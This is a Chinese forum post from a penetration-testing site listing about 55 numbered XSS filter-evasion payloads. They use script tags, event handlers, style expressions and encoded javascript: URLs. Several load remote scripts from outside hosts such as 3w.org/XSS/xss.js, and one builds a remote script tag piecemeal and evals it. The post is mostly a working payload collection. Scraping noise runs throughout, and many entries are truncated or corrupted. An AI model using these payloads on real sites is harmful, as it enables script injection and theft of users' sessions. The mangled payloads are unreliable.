中国网络渗透测试联盟
标题:
XSS攻击汇总
[打印本页]
作者:
admin
时间:
2016-4-28 10:06
标题:
XSS攻击汇总
(1)普通的XSS JavaScript注入
! @5 a0 e- e* ~: L4 M
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
% k( b+ h( r4 k# ?3 l0 I, l
(99)另类弹框
7 H0 W% l. Y: J+ L# V
<q/oncut=alert()>1
% I3 u& Z) q7 L0 d5 u2 l f
<s/onclick=alert()>b
, A, a. N! D3 z
<XSS=" onclick="alert(1)//">clickme</SSX=">
1 a# |6 ?* C* r% ?# E' C9 z8 x: i
<zzz onclick=alert`1`>clickme</zzz>
$ M' k5 y! L, \4 P0 v, h
<a onclick=alert`1`>clickme</a>
6 J* @% C4 y( ?4 @, X" T
<a=">clickme</a=">
7 k! s+ v) `' _9 X8 A
<a=">clickme</a>
, H9 T; ~ B3 t* d
<z=">clickme</z=">
! R0 ]' {3 F6 I( l
<z onclick=alert`1`>clickme</z>
1 J3 B2 o3 x% T# R$ p
# t; r! U4 r6 r3 x1 K2 i% E
(2)IMG标签XSS使用JavaScript命令
8 O1 {% F4 J3 q$ M2 O
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
& \0 B6 F: d0 y3 N8 R4 P p" W
! W U$ X3 h1 \' |, n
(3)IMG标签无分号无引号
1 w, K# X+ }7 }9 F* X' z; B% [
<IMG SRC=javascript:alert(‘XSS’)>
; W/ m( O9 r( l* c' ]) C' x" A
9 b0 |7 P' Z( u
(4)IMG标签大小写不敏感
u$ |* d% v* f X/ ? g6 K
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
# R3 f3 W5 G: b c0 i" k( _
# Y2 ^' ?5 p" ~9 c
(5)HTML编码(必须有分号)
, m4 v X" p! |! |' [/ B0 k
<IMG SRC=javascript:alert(“XSS”)>
4 A" Y% n- }% \, b! y1 Y
4 ]- X! @' v& f% p. Q
(6)修正缺陷IMG标签
* J( D4 c) l8 g" \
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
' i+ Q8 v c9 h0 v
! ~- P4 o" ^' h) y
(7)formCharCode标签(
计算器
)
! }; J, r+ X- t# T; E
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
- O- a5 Q. c/ n" ~
. h3 A6 Q" A3 ~4 e3 R
(8)UTF-8的Unicode编码(
计算器
)
I1 r: p1 E- o3 ~7 [
<IMG SRC=jav..省略..S')>
; b. V C# K: V
( `$ e/ J/ ^7 q8 g8 g0 g
(9)7位的UTF-8的Unicode编码是没有分号的(
计算器
)
, R1 n1 d7 ]8 [4 J7 A: ^0 l0 e7 L% L
<IMG SRC=jav..省略..S')>
; ~! V% s4 X) w
# y2 `7 o& H5 E* U5 L9 _: `" ^
(10)十六进制编码也是没有分号(
计算器
)
! m- C0 |$ o6 q2 A2 B
<IMG SRC=\'#\'" /span>
5 g. K5 w6 P# h4 c1 y. ?
0 T+ b' }( Y5 T
(11)嵌入式标签,将Javascript分开
6 ?1 |4 [. D1 N1 Y4 _
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
1 }8 \; k# [ W/ F" b3 A. |
3 u$ Y' X* ^7 o+ x+ x
(12)嵌入式编码标签,将Javascript分开
+ c1 v* B X1 `& J0 o
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
0 q5 `- i# x/ N* O, @& k
: z# n+ i2 D7 I+ a5 q) G9 Q1 I
(13)嵌入式换行符
2 R; m8 e1 {. x% y
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
3 f# J: p/ Y! ]3 Z8 h
5 y$ N+ c1 p0 A% p
(14)嵌入式回车
) T, j5 }8 x' \$ d
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
/ R$ f3 b0 @; {8 Q* r
3 Y4 O- V5 o) c+ S6 l% Z& @* D: s
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
7 n7 L3 p& h" @+ d; C* {: U- d
<IMG SRC=\'#\'" /span>
+ X1 m @( Z/ A/ Y
5 J0 L7 [5 G5 }5 X2 I0 E' ]
(16)解决限制字符(要求同页面)
6 n/ o* a/ j4 r7 \4 Y1 i% o) O
<script>z=’document.’</script>
5 c6 V$ h6 H3 a6 N$ u+ P m0 }; ^
<script>z=z+’write(“‘</script>
" p! s( I( z$ t. g. f/ n' n
<script>z=z+’<script’</script>
( ]8 c7 [# U! A4 {
<script>z=z+’ src=ht’</script>
9 A4 Y8 F( {+ N( w) o
<script>z=z+’tp://ww’</script>
2 O. X2 _: \ S5 P# w/ e* z' V
<script>z=z+’w.shell’</script>
( l. h% x* V9 i, Z' L( f
<script>z=z+’.net/1.’</script>
+ @5 O& t0 K3 ~9 O; y! r- ]. u; O1 S
<script>z=z+’js></sc’</script>
' N2 {6 `5 U6 Q( q4 @6 ^ S
<script>z=z+’ript>”)’</script>
9 q$ y8 E3 \5 h: D2 x: b2 L
<script>eval_r(z)</script>
5 O) T4 c, w; R
" S1 b- ~( B; V& [1 S5 O4 W
(17)空字符
; r" c3 F$ m+ S* h3 [
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
5 l( R' C! H$ P: F+ X# a
0 e& x4 z- g$ J" @! S, Y
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
3 _2 f9 l- k' ]3 D7 D( R1 R4 Y
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
* i4 P. g0 p3 d/ i( q
& w9 c( c* T. q8 ]
(19)Spaces和meta前的IMG标签
3 e$ v" s/ K$ l9 Z, l: [1 ~
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
" {2 S: L$ t/ b; B# k
3 |$ n m& H4 p1 X# s- o
(20)Non-alpha-non-digit XSS
2 P# L1 U, @5 h2 q
<SCRIPT/XSS SRC=\'#\'" /span>
http://3w.org/XSS/xss.js
”></SCRIPT>
+ A: X3 Q d: }) A8 j! D
* W/ p" L2 m# b: d
(21)Non-alpha-non-digit XSS to 2
. \5 b4 A3 B5 ^( }0 p" i: Y
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
5 m3 A4 a; a' l6 z' w* v
" f6 ]& H6 H- Q7 `9 V+ h
(22)Non-alpha-non-digit XSS to 3
6 C% G) W# j+ ]5 P
<SCRIPT/SRC=\'#\'" /span>
http://3w.org/XSS/xss.js
”></SCRIPT>
! v d' T, _ ]* a2 y2 D
$ h- F5 p) g7 _3 {5 m9 X
(23)双开括号
: p; _2 D1 S& J! { W
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
- ?: ?6 K4 @ c& `2 J
* v' g/ A9 [1 m8 w- P- [3 W
(24)无结束脚本标记(仅火狐等浏览器)
& E$ }$ z" a. I* Z
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
^4 Z0 C" c: g- o, h
# N3 r5 m2 x, {; o2 L& K
(25)无结束脚本标记2
' B" I% u. R7 C( A8 ?; H
<SCRIPT SRC=//3w.org/XSS/xss.js>
4 v1 v8 ^1 _$ J: U! v0 P" m& T
8 F+ g( K4 c {8 R* U$ O9 S
(26)半开的HTML/JavaScript XSS
# j8 A( k% t0 b: e
<IMG SRC=\'#\'" /span>
5 L1 q, Z5 n6 y- ?
+ t& g) H4 b, p0 v: }
(27)双开角括号
1 y% q+ f! j" z( b3 v$ B0 C) a
<iframe src=http://3w.org/XSS.html <
& M) f% d. d: q0 x& }, w
7 k+ K. I; s" [% A% }
(28)无单引号 双引号 分号
. f1 B. I0 B5 h3 x. c! ^5 a% t
<SCRIPT>a=/XSS/
9 ^3 Y2 x9 y" N3 M; [2 j$ s' u" Y, b
alert(a.source)</SCRIPT>
9 L7 X# G4 o; H
% s i' X2 f* U2 A- p$ H
(29)换码过滤的JavaScript
7 d5 \( K1 N2 w) U1 Z
\”;alert(‘XSS’);//
n i5 V) f8 Q1 a, _
, K \4 ]* V! ]2 j: L
(30)结束Title标签
m6 B" D2 h, r" r% _2 |: D
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
6 t g( ]/ C; b% R* M# r
. h1 m. h5 k- F' r5 [
(31)Input Image
. B5 s9 d" I, R
<INPUT SRC=\'#\'" /span>
4 x. c0 o+ M+ u* n/ K: }% a5 _
0 o% }9 q- b4 P6 c/ x/ d* |
(32)BODY Image
+ L) ?; V5 Y5 i
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
/ U' G8 N* g c. i1 t* J
: C4 I2 v/ K* C. E
(33)BODY标签
9 `# G o0 R6 j
<BODY(‘XSS’)>
% ]6 i0 z8 h, z
# P5 G- t# G2 a3 F& E4 `
(34)IMG Dynsrc
5 u) _8 I3 N0 k1 a4 F
<IMG DYNSRC=\'#\'" /span>
2 V5 i5 g9 \* j- \% U, k( Z
! U. \, F# \; V% C; J4 b4 j
(35)IMG Lowsrc
$ X! y6 }1 p3 M7 a3 ^
<IMG LOWSRC=\'#\'" /span>
6 o+ e$ l2 r+ j; w# Z7 v$ u
: e, w& ?. ]' x+ p! K) z: ~
(36)BGSOUND
. |- h, \. S2 i+ t ^! _
<BGSOUND SRC=\'#\'" /span>
0 f2 N3 a' D( @, ^/ u3 Z! v! t
1 s) t8 o5 W, [% |5 Y
(37)STYLE sheet
A0 ?" r* u$ d. W& v. l4 S1 V4 _5 t
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
, v& ~( t$ j6 D# h. k3 |& c
( {# X" r$ G7 N
(38)远程样式表
' R$ ~! n. [! Z l/ n- B
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
# z- P5 @" Q0 e0 q0 }( _0 x! g
" R& x {7 k" y' r5 j9 ~
(39)List-style-image(列表式)
8 e O% H; F2 p8 D! Z% N
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
/ E3 d! _* | C; E Q
& F; N' Z6 Z4 X; s$ k- ]
(40)IMG VBscript
?2 b1 G C% u1 e) s, W' m
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
$ w( L! i& R8 H( L2 j% F
8 P) E& g- T7 ?& `
(41)META链接url
3 }1 @8 K7 f$ k9 A* n# n" f
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
) I0 z7 q, v* x I! k! h
6 E( M h& G2 H( [. W* c9 U- {
(42)Iframe
4 S* v+ C* W$ g, M
<IFRAME SRC=\'#\'" /IFRAME>
! z/ h! S' ^/ C1 B
. P+ M( q% |# i( q. H+ C m
(43)Frame
) z6 G( F4 C) K8 M9 y( _4 L6 E; B% z
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
5 D* E7 L: Y$ J. q
- z8 M1 c# H. s- {; o( h/ f2 l. g
(44)Table
' X' l4 w3 G& H4 u- j- A
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
9 Y# v, Y, T- i& |7 m' s1 E1 T
) Q8 V$ O! b' o `) y
(45)TD
7 \5 o0 q, p: t9 O9 v% i
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
Q* ]/ C- H6 C
1 ]* [- \) J( C6 u v
(46)DIV background-image
1 V& d& h# v8 j0 a" g
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
1 \* E. q1 E1 ~; p) k6 a# l
) c' y, w8 z: E, m5 F# p3 I
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
3 ~: A* u# b/ E% K. I1 { s
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
4 t8 {2 J+ P1 U, g I2 t
1 X3 j6 N$ U7 J; c- Q
(48)DIV expression
- I" B, ^7 i% x
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
$ R6 i# H1 Y7 Q6 c
& V8 Q3 Z9 A% B
(49)STYLE属性分拆表达
/ b: @- s+ i) \
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
6 Y2 V, \: _2 y- [
" u6 S$ x) N5 t
(50)匿名STYLE(组成:开角号和一个字母开头)
1 p$ n! W, ?& j3 L
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
! \& b: _# s' ^& t% n
6 V9 z6 B8 o/ a+ d
(51)STYLE background-image
( ]' a) j F. i% V) s
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
) w% E. U2 r4 h% A( {2 u% w
; p6 W) V6 x! l
(52)IMG STYLE方式
; Q0 W x5 h$ L5 X" [
exppression(alert(“XSS”))’>
( }& b& s( j( ]! ?6 `% W$ f
% P1 h. r. M& a& f6 a+ ^+ t! z% q
(53)STYLE background
$ P/ V5 v9 ? h) @( @8 d
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
2 o' S, }- h. L
' F- V0 H5 ]$ E, J3 K4 ?' f9 N
(54)BASE
) p) p$ ]; V; M; r; V3 V/ j
<BASE HREF=”javascript:alert(‘XSS’);//”>
$ k" g. W4 b6 y- w9 m
* r+ n# q5 {/ R
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
9 F" I/ _# ~; j6 M0 D
<EMBED SRC=\'#\'" /span>
http://3w.org/XSS/xss.swf
” ></EMBED>
/ |2 Y6 K) u M
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2